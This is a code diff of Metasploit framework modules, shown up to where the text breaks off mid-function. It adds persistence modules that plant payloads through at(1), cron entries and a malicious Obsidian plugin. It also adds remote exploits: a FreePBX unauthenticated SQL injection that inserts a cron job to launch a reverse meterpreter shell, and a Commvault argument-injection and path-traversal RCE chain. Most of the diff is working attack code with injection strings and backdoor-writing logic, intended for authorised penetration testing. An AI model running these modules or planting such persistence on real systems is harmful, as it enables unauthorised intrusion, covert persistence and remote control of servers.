next if share.first.blank?
|
||||
next if share.first.upcase == 'IPC$'
|
||||
|
||||
found = find_writeable_path(share.first)
|
||||
|
||||
@@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
return CheckCode::Unknown('Failed to obtain response from service') unless res
|
||||
|
||||
/WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
|
||||
/WebLogic\s+Server[ -]+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
|
||||
return CheckCode::Unknown('Failed to detect WebLogic') unless version
|
||||
|
||||
@version_no = Rex::Version.new(version)
|
||||
|
||||
@@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
return CheckCode::Unknown('Failed to obtain response from service') unless res
|
||||
|
||||
/WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
|
||||
/WebLogic\s+Server[ -]+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
|
||||
return CheckCode::Unknown('Failed to detect WebLogic') unless version
|
||||
|
||||
@version_no = Rex::Version.new(version)
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::EXE # for generate_payload_exe
|
||||
include Msf::Exploit::Local::Persistence
|
||||
include Msf::Exploit::Local::Timespec
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'exploits/unix/local/at_persistence'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'at(1) Persistence',
|
||||
'Description' => %q{
|
||||
This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box
|
||||
with any UNIX-like operating system with atd running.
|
||||
Verified on Kali linux and OSX 13.7.4
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Jon Hart <jon_hart@rapid7.com>'
|
||||
],
|
||||
'Targets' => [['Automatic', {} ]],
|
||||
'DefaultTarget' => 0,
|
||||
'Platform' => %w[unix linux osx],
|
||||
'Arch' => [
|
||||
ARCH_CMD,
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'SessionTypes' => ['meterpreter', 'shell'],
|
||||
'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
|
||||
'References' => [
|
||||
['URL', 'https://linux.die.net/man/1/at'],
|
||||
['URL', 'https://www.geeksforgeeks.org/at-command-in-linux-with-examples/'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1053_002_AT],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1053_001_AT_LINUX],
|
||||
],
|
||||
'Notes' => {
|
||||
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now']),
|
||||
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
|
||||
return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']
|
||||
|
||||
return CheckCode::Safe('at(1) not found on system') unless command_exists? 'at'
|
||||
|
||||
# we do a direct test with atq instead of reading at.allow and at.deny
|
||||
token = Rex::Text.rand_text_alphanumeric(8)
|
||||
if cmd_exec("atq && echo #{token}").include?(token)
|
||||
return CheckCode::Vulnerable('at(1) confirmed to be usable as a persistence mechanism')
|
||||
end
|
||||
|
||||
CheckCode::Safe('at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny')
|
||||
end
|
||||
|
||||
def install_persistence
|
||||
fail_with(Failure::BadConfig, "TIME option isn't valid timespec") unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore['TIME'])
|
||||
payload_path = datastore['WritableDir']
|
||||
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
|
||||
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
|
||||
payload_path << payload_name
|
||||
vprint_status("Writing payload to #{payload_path}")
|
||||
|
||||
if payload.arch.first == 'cmd'
|
||||
upload_and_chmodx(payload_path, payload.encoded)
|
||||
else
|
||||
# because the payloads contents is imported into the at job, we use a stub to call our payload
|
||||
# as it doesn't like binary payloads directly
|
||||
payload_path_exe = "#{payload_path}#{rand_text_alphanumeric(1..2)}"
|
||||
# stub, but keep payload_path name for consistency
|
||||
upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload_path_exe} &\n")
|
||||
upload_and_chmodx(payload_path_exe, generate_payload_exe)
|
||||
@clean_up_rc << "rm #{payload_path_exe}\n"
|
||||
end
|
||||
|
||||
@clean_up_rc << "rm #{payload_path}\n"
|
||||
|
||||
job = cmd_exec("at -f #{payload_path} #{datastore['TIME']}")
|
||||
job_id = job.split(' ')[1]
|
||||
print_good("at job created with id: #{job_id}")
|
||||
# this won't actually do anything since its not in a shell
|
||||
@clean_up_rc << "atrm #{job_id}\n"
|
||||
|
||||
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,186 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
include Msf::Exploit::EXE # for generate_payload_exe
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Local::Persistence
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'exploits/linux/local/cron_persistence'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Cron Persistence',
|
||||
'Description' => %q{
|
||||
This module will create a cron or crontab entry to execute a payload.
|
||||
The module includes the ability to automatically clean up those entries to prevent multiple executions.
|
||||
syslog will get a copy of the cron entry.
|
||||
Verified on Ubuntu 22.04.1, MacOS 13.7.4
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die <mike@shorebreaksecurity.com>'
|
||||
],
|
||||
'Platform' => ['unix', 'linux', 'osx'],
|
||||
'Targets' => [
|
||||
[ 'Cron', { path: '/etc/cron.d' } ],
|
||||
[ 'User Crontab', { path: '/var/spool/cron/crontabs' } ],
|
||||
[ 'OSX User Crontab', { path: '/var/at/tabs/' } ],
|
||||
[ 'System Crontab', { path: '/etc/crontab' } ]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'Arch' => [
|
||||
ARCH_CMD,
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'DisclosureDate' => '1979-07-01', # Version 7 Unix release date (first cron implementation)
|
||||
'References' => [
|
||||
['ATT&CK', Mitre::Attack::Technique::T1053_003_CRON]
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USER', [false, 'User to run cron/crontab as', ''], conditions: ['Targets', 'in', ['User Crontab', 'OSX User Crontab']]),
|
||||
OptString.new('TIMING', [false, 'Cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),
|
||||
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
# https://gist.github.com/istvanp/310203 for cron regex validator
|
||||
cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'
|
||||
cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'
|
||||
cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'
|
||||
cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
|
||||
cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
|
||||
# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
|
||||
|
||||
return CheckCode::Unknown('Invalid timing format') unless datastore['TIMING'] =~ /#{cron_regex}/
|
||||
|
||||
return CheckCode::Safe("#{target.opts[:path]} doesn't exist") unless exists?(target.opts[:path])
|
||||
# it may not be directly writable, but we can use crontab to write it for us
|
||||
if !writable?(target.opts[:path]) && !command_exists?('crontab')
|
||||
return CheckCode::Safe("Can't write to: #{target.opts[:path]} or crontab not found")
|
||||
end
|
||||
|
||||
if target.name == 'User Crontab' && !user_cron_permission?(target_user)
|
||||
return CheckCode::Unknown('User denied cron via cron.deny')
|
||||
end
|
||||
|
||||
CheckCode::Appears('Cron timing is valid, no cron.deny entries found')
|
||||
end
|
||||
|
||||
def target_user
|
||||
return datastore['USER'] unless datastore['USER'].blank?
|
||||
|
||||
whoami
|
||||
end
|
||||
|
||||
def user_cron_permission?(user)
|
||||
# double check we're allowed to do cron
|
||||
# may also be /etc/cron.d/
|
||||
paths = ['/etc/', '/etc/cron.d/']
|
||||
paths.each do |path|
|
||||
if readable?("#{path}cron.allow")
|
||||
cron_auth = read_file("#{path}cron.allow")
|
||||
if cron_auth && (cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/)
|
||||
vprint_good("User located in #{path}cron.allow")
|
||||
return true
|
||||
end
|
||||
end
|
||||
next unless readable?("#{path}cron.deny")
|
||||
|
||||
cron_auths = read_file("#{path}cron.deny")
|
||||
if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
|
||||
vprint_error("User located in #{path}cron.deny")
|
||||
return false
|
||||
end
|
||||
end
|
||||
# no guidance, so we should be fine
|
||||
true
|
||||
end
|
||||
|
||||
def install_persistence
|
||||
cron_entry = datastore['TIMING']
|
||||
cron_entry += " #{target_user}" unless ['User Crontab', 'OSX User Crontab'].include?(target.name)
|
||||
if payload.arch.first == 'cmd'
|
||||
payload_info['BadChars'] = "#%\x10\x13"
|
||||
cron_entry += " #{regenerate_payload.encoded}"
|
||||
payload_info.delete('BadChars')
|
||||
else
|
||||
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
|
||||
backdoor = "#{writable_dir}/#{file_name}"
|
||||
vprint_status("Writing backdoor to #{backdoor}")
|
||||
upload_and_chmodx backdoor, generate_payload_exe
|
||||
cron_entry += " #{backdoor}"
|
||||
end
|
||||
|
||||
case target.name
|
||||
when 'Cron'
|
||||
our_entry = Rex::Text.rand_text_alpha(8..15)
|
||||
write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")
|
||||
vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")
|
||||
@clean_up_rc << "rm #{target.opts[:path]}/#{our_entry}\n"
|
||||
|
||||
when 'System Crontab'
|
||||
file_to_clean = target.opts[:path].to_s
|
||||
crontab_backup = store_crontab_backup(file_to_clean, 'system crontab backup')
|
||||
|
||||
append_file(file_to_clean, "\n#{cron_entry}\n")
|
||||
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
|
||||
@clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n"
|
||||
|
||||
when 'User Crontab', 'OSX User Crontab'
|
||||
path = target.opts[:path]
|
||||
if !writable?(path)
|
||||
print_status("Utilizing crontab since we can't write to #{path}")
|
||||
cmd_exec("echo \"#{cron_entry}\" | crontab -")
|
||||
else
|
||||
file_to_clean = "#{path}/#{target_user}"
|
||||
|
||||
crontab_backup = store_crontab_backup(file_to_clean, 'user crontab backup')
|
||||
append_file(file_to_clean, "\n#{cron_entry}\n")
|
||||
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
|
||||
# at least on ubuntu, we need to reload cron to get this to work
|
||||
vprint_status('Reloading cron to pickup new entry')
|
||||
|
||||
cmd_exec('service cron reload') if target.name == 'User Crontab'
|
||||
@clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n"
|
||||
end
|
||||
end
|
||||
print_good('Payload will be triggered when cron time is reached')
|
||||
end
|
||||
|
||||
def store_crontab_backup(path, desc)
|
||||
crontab_backup_content = read_file(path)
|
||||
location = store_loot("crontab.#{path.split('/').last}",
|
||||
'text/plain', session, crontab_backup_content,
|
||||
path.split('/').last, desc)
|
||||
vprint_good("Backed up #{path} to #{location}")
|
||||
location
|
||||
end
|
||||
end
|
||||
+9
-5
@@ -9,6 +9,9 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix # whoami
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Local::Persistence
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'exploits/multi/local/obsidian_plugin_persistence'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -41,14 +44,11 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Platform' => %w[osx linux windows],
|
||||
'DefaultOptions' => {
|
||||
# 25hrs, you know, just in case the user doesn't open Obsidian for a while
|
||||
'WfsDelay' => 90_000,
|
||||
'PrependMigrate' => true
|
||||
},
|
||||
'Payload' => {
|
||||
'BadChars' => '"'
|
||||
},
|
||||
'Stance' => Msf::Exploit::Stance::Passive,
|
||||
'Targets' => [
|
||||
['Auto', {} ],
|
||||
['Linux', { 'Platform' => 'unix' } ],
|
||||
@@ -69,6 +69,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
|
||||
OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),
|
||||
])
|
||||
deregister_options('WritableDir')
|
||||
end
|
||||
|
||||
def plugin_name
|
||||
@@ -213,7 +214,7 @@ var ExamplePlugin = class extends import_obsidian.Plugin {
|
||||
CheckCode::Safe('No vaults found')
|
||||
end
|
||||
|
||||
def exploit
|
||||
def install_persistence
|
||||
plugin = plugin_name
|
||||
print_status("Using plugin name: #{plugin}")
|
||||
vaults = find_vaults
|
||||
@@ -229,9 +230,11 @@ var ExamplePlugin = class extends import_obsidian.Plugin {
|
||||
end
|
||||
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
|
||||
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))
|
||||
@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/main.js\n"
|
||||
|
||||
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json")
|
||||
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin))
|
||||
|
||||
@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json\n"
|
||||
# read in the enabled community plugins, and add ours to the enabled list
|
||||
if file?("#{vault['path']}/.obsidian/community-plugins.json")
|
||||
plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json")
|
||||
@@ -240,6 +243,7 @@ var ExamplePlugin = class extends import_obsidian.Plugin {
|
||||
vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")
|
||||
path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)
|
||||
print_good("Config file saved in: #{path}")
|
||||
@clean_up_rc << "upload #{path} #{vault['path']}/.obsidian/community-plugins.json\n"
|
||||
rescue JSON::ParserError
|
||||
plugins = []
|
||||
end
|
||||
@@ -0,0 +1,143 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'FreePBX ajax.php unuthenticated SQLi to RCE',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89,
|
||||
and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without
|
||||
authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing
|
||||
remote code execution on the target system.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Echo_Slow', # msf module
|
||||
'Piotr Bazydlo', # POC used as a template
|
||||
'Sonny' # POC used as a template
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2025-57819'],
|
||||
['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/']
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
|
||||
'WfsDelay' => 70 # cronjob may take up to a minute to start
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2025-08-28',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new(
|
||||
'TARGETURI',
|
||||
[false, 'The URI for the FreePBX installation', '/']
|
||||
)
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
print_status('Checking if vulnerable...')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
|
||||
'vars_get' => {
|
||||
'module' => 'FreePBX\\modules\\endpoint\\ajax',
|
||||
'command' => 'model',
|
||||
'template' => Rex::Text.rand_text_alphanumeric(3..6),
|
||||
'model' => Rex::Text.rand_text_alphanumeric(3..6),
|
||||
'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'"
|
||||
}
|
||||
)
|
||||
|
||||
if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/
|
||||
return Exploit::CheckCode::Vulnerable('Detected SQL injection')
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
|
||||
end
|
||||
|
||||
def exploit
|
||||
module_name = Rex::Text.rand_text_alpha(4..7)
|
||||
@job_name = Rex::Text.rand_text_alpha(4..7)
|
||||
|
||||
rce_payload = Rex::Text.rand_text_alpha(4..7)
|
||||
rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)"
|
||||
rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- "
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
|
||||
'vars_get' => {
|
||||
'module' => 'FreePBX\\modules\\endpoint\\ajax',
|
||||
'command' => 'model',
|
||||
'template' => Rex::Text.rand_text_alphanumeric(3..6),
|
||||
'model' => Rex::Text.rand_text_alphanumeric(3..6),
|
||||
'brand' => rce_payload
|
||||
}
|
||||
)
|
||||
|
||||
if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
|
||||
print_good("Created cronjob with job name: '#{@job_name}'")
|
||||
print_status('Waiting for cronjob to trigger...')
|
||||
else
|
||||
fail_with(Failure::PayloadFailed, 'Cronjob was not created.')
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
super
|
||||
|
||||
return unless @job_name
|
||||
|
||||
# Remove the created cronjob
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
|
||||
'vars_get' => {
|
||||
'module' => 'FreePBX\\modules\\endpoint\\ajax',
|
||||
'command' => 'model',
|
||||
'template' => Rex::Text.rand_text_alphanumeric(3..6),
|
||||
'model' => Rex::Text.rand_text_alphanumeric(3..6),
|
||||
'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- "
|
||||
}
|
||||
)
|
||||
|
||||
print_status('Attempting to perform cleanup')
|
||||
|
||||
if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
|
||||
print_good('Cronjob removed, happy hacking!')
|
||||
else
|
||||
print_bad('Cronjob not removed, please perform manual cleanup!')
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,72 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'at(1) Persistence',
|
||||
'Description' => %q{
|
||||
This module achieves persistence by executing payloads via at(1).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Jon Hart <jon_hart@rapid7.com>'
|
||||
],
|
||||
'Targets' => [['Automatic', {} ]],
|
||||
'DefaultTarget' => 0,
|
||||
'Platform' => %w[unix],
|
||||
'Arch' => ARCH_CMD,
|
||||
'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
|
||||
'Notes' => {
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TIME', [false, 'When to run job via at(1). Changing may require WfsDelay to be adjusted.', 'now'])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptString.new('PATH', [false, 'Path to store payload to be executed by at(1). Leave unset to use mktemp.'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
token = Rex::Text.rand_text_alphanumeric(8)
|
||||
if cmd_exec("atq && echo #{token}").include?(token)
|
||||
CheckCode::Vulnerable
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == Exploit::CheckCode::Vulnerable
|
||||
fail_with(Failure::NoAccess, 'User denied cron via at.deny')
|
||||
end
|
||||
|
||||
unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp')))
|
||||
fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
|
||||
end
|
||||
|
||||
write_file(payload_file, payload.encoded)
|
||||
register_files_for_cleanup(payload_file)
|
||||
|
||||
cmd_exec("chmod 700 #{payload_file}")
|
||||
cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
|
||||
|
||||
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,492 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Commvault Command-Line Argument Injection to Traversal Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated remote code execution exploit chain for Commvault,
|
||||
tracked as CVE-2025-57790 and CVE-2025-57791. A command-line injection permits unauthenticated
|
||||
access to the 'localadmin' account, which then facilitates code execution via expression
|
||||
language injection. CVE-2025-57788 is also leveraged to leak the target host name, which is
|
||||
necessary knowledge to exploit the remote code execution chain. This module executes in
|
||||
the context of 'NETWORK SERVICE' on Windows.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Sonny Macdonald', # Original discovery
|
||||
'Piotr Bazydlo', # Original discovery
|
||||
'remmons-r7' # MSF exploit
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2025-57790'],
|
||||
['CVE', '2025-57791'],
|
||||
['CVE', '2025-57788'],
|
||||
# Argument injection advisory
|
||||
['URL', 'https://documentation.commvault.com/securityadvisories/CV_2025_08_1.html'],
|
||||
# Path traversal advisory
|
||||
['URL', 'https://documentation.commvault.com/securityadvisories/CV_2025_08_2.html'],
|
||||
# Non-blind expression language payload (from an Ivanti EPMM exploit chain)
|
||||
['URL', 'https://blog.eclecticiq.com/china-nexus-threat-actor-actively-exploiting-ivanti-endpoint-manager-mobile-cve-2025-4428-vulnerability']
|
||||
],
|
||||
'DisclosureDate' => '2025-08-19',
|
||||
# Runs as the 'NETWORK SERVICE' user on Windows
|
||||
'Privileged' => false,
|
||||
# Although Linux installations are also affected, I didn't establish a reliable full path leak on the older Linux version I tested
|
||||
'Platform' => ['windows'],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'DefaultTarget' => 0,
|
||||
'Targets' => [
|
||||
[
|
||||
'Default', {
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp',
|
||||
'SSL' => true
|
||||
},
|
||||
'Payload' => {
|
||||
# The ampersand character isn't properly embedded in payloads sent to the web API, so use a base64 PowerShell command instead
|
||||
'BadChars' => '&'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'Notes' => {
|
||||
# Confirmed to work multiple times in a row
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
# The log files will contain IOCs, including the written web shell path
|
||||
# If successful, an abnormal XML file and web shell will be written to disk (will attempt automatic cleanup of JSP file)
|
||||
# The localadmin user's description will be updated to include the expression language payload (although this should be reverted)
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [true, 'The base path to Commvault', '/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
# Query an unauthenticated web API endpoint to attempt to extract the PublicSharingUser GUID password
|
||||
res = check_commvault_info
|
||||
|
||||
return CheckCode::Unknown('Failed to get a response from the target') unless res
|
||||
|
||||
# If the response body contains "cv-gorkha", we assume it's Commvault
|
||||
if res.code == 200 && res.body.include?('cv-gorkha')
|
||||
vprint_status('The server returned a body that included the string cv-gorkha, looks like Commvault')
|
||||
|
||||
regex = /"cv-gorkha\\":\\"([a-zA-Z0-9-]+)\\"/
|
||||
sharinguser_pass = res.body.scan(regex)[0][0]
|
||||
|
||||
# If the regex fails to extract the GUID, we return Safe
|
||||
if sharinguser_pass.blank?
|
||||
return CheckCode::Safe('The target returned an unexpected response that did not contain the desired GUID')
|
||||
end
|
||||
|
||||
vprint_good("Fetched GUID: #{sharinguser_pass}")
|
||||
|
||||
vprint_status('Attempting to login as PublicSharingUser')
|
||||
res = login_as_publicsharinguser(sharinguser_pass)
|
||||
|
||||
return CheckCode::Unknown('Failed to get a response from the target') unless res
|
||||
|
||||
if res.code != 200
|
||||
CheckCode::Detected('Commvault detected, login as PublicSharingUser failed because a non-200 status was returned')
|
||||
end
|
||||
|
||||
# Extract the token from the login response
|
||||
regex = /(QSDK [a-zA-Z0-9]+)/
|
||||
psu_token = res.body.scan(regex)[0][0]
|
||||
|
||||
if psu_token.blank?
|
||||
CheckCode::Detected('Commvault detected, login as PublicSharingUser failed because no token was returned')
|
||||
else
|
||||
vprint_good("Authenticated as PublicSharingUser, got token: #{psu_token}")
|
||||
return CheckCode::Vulnerable('Successfully authenticated as PublicSharingUser')
|
||||
end
|
||||
|
||||
else
|
||||
return CheckCode::Safe('The target server did not provide a response with the expected password leak')
|
||||
end
|
||||
end
|
||||
|
||||
def check_commvault_info
|
||||
